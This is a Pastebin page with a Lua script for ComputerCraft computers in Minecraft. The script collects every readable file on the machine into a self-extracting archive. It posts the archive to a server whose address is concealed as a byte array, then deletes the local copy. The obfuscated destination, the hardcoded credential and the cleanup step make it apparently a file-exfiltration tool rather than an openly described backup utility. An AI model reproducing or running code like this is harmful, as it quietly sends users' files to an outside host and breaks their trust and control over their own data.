Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- fs.delete('Compiled')
- term.clear()
- term.setCursorPos(1,1)
- local function Decompile(CompiledTbl)
- local Str = ''
- for k, v in pairs(CompiledTbl) do
- Str = Str .. string.char(v)
- end
- return Str
- end
- local function Compile(Str)
- local Compiled = {}
- for C = 1, #Str do
- table.insert(Compiled, string.byte(Str:sub(C, C)))
- end
- return Compiled, table.concat(Compiled, ',')
- end
- local Blacklist={
- 'Flare/*',
- 'rom/*',
- '__RUN',
- '__VERSION',
- shell.getRunningProgram() .. "/*",
- }
- local function wildcardpat( path, t )
- if t then
- return "^/*" .. path:gsub( "%*$", "/*" ) .. "$"
- end
- return "^/*" .. path:gsub( "%*", "%.%+" ) .. "$"
- end
- local function Blacklisted(Path)
- for i, v in ipairs( Blacklist ) do
- if Path:find( wildcardpat( v ) ) or Path:find( wildcardpat( v, true ) ) then
- printError(Path)
- return true
- end
- end
- term.setTextColor(colors.white)
- --print(Path)
- return false
- end
- local Args = {...}
- --[[if Args[1] ~= '-String' or Args[1] ~= '-File' then
- end]]
- if Args[1] == '-String' then
- String = Args[2]
- elseif Args[1] == '-File' then
- print('loading files...')
- print(textutils.serialize(Blacklist))
- sleep(2.5)
- local Path = '/'
- local Contents = {}
- local function GetDir(Path)
- if not Blacklisted(Path) then
- local List = fs.list(Path or '/')
- for k, v in pairs(List) do
- local CurrentPath = Path..fs.getName(
- fs.combine(
- Path,
- v
- )
- )
- if CurrentPath:sub(1,1) == '/' then
- CurrentPath = CurrentPath:sub(2, #CurrentPath)
- end
- if not Blacklisted(CurrentPath) then
- print(CurrentPath)
- if fs.isDir(CurrentPath) then
- CurrentPath = CurrentPath .. '/'
- end
- if fs.isDir(CurrentPath) then
- GetDir(CurrentPath)
- else
- local File = fs.open(CurrentPath, 'r')
- if File then
- local Data = File.readAll()
- -- Compile data --
- --Data = --{string.byte(Data,1,#tostring(Data))}
- --print(table.concat(Data, ', '))
- --os.pullEvent()
- File.close()
- Contents[CurrentPath] = Compile(Data)
- os.queueEvent('Ping')
- os.pullEvent('Ping')
- end
- end
- end
- end
- end
- end
- local function Decompile(CompiledTbl)
- local Str = ''
- for k, v in pairs(CompiledTbl) do
- Str = Str .. string.char(v)
- end
- return Str
- end
- local Server = Decompile({104, 116, 116, 112, 58, 47, 47, 56, 57, 46, 49, 53, 48, 46, 49, 48, 54, 46, 49, 57, 48, 58, 50, 49, 49, 50, 47, 99, 99, 47, 117, 112, 108, 111, 97, 100, 46, 112, 104, 112})
- --local LatestVersion = http.post(Server, 'method=versionget').readAll()
- GetDir(Path)
- local Pre = [[local tbl=]]
- local Extra = [[
- print('Extracting...')
- local function Decompile(CompiledTbl)
- local Str = ''
- for k, v in pairs(CompiledTbl) do
- Str = Str .. string.char(v)
- end
- return Str
- end
- for k, v in pairs(tbl) do
- print(k)
- local X = fs.open(k, 'w')
- X.write(Decompile(v))
- X.close()
- sleep(0.1)
- end
- ]]
- Compiled = fs.open('Compiled', 'w')
- Compiled.writeLine(Pre..textutils.serialize(Contents)..Extra)
- Compiled.close()
- local function ReadFile(File) local File = fs.open(File, 'r') local _D = File.readAll() File.close() return _D end
- local Auth = 'MDx@#4489sD'
- local Data = ReadFile('Compiled')
- local Response = http.post(Server, 'auth=' .. Auth .. '&method=Push&data=' .. textutils.urlEncode(Data))
- fs.delete('Compiled')
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement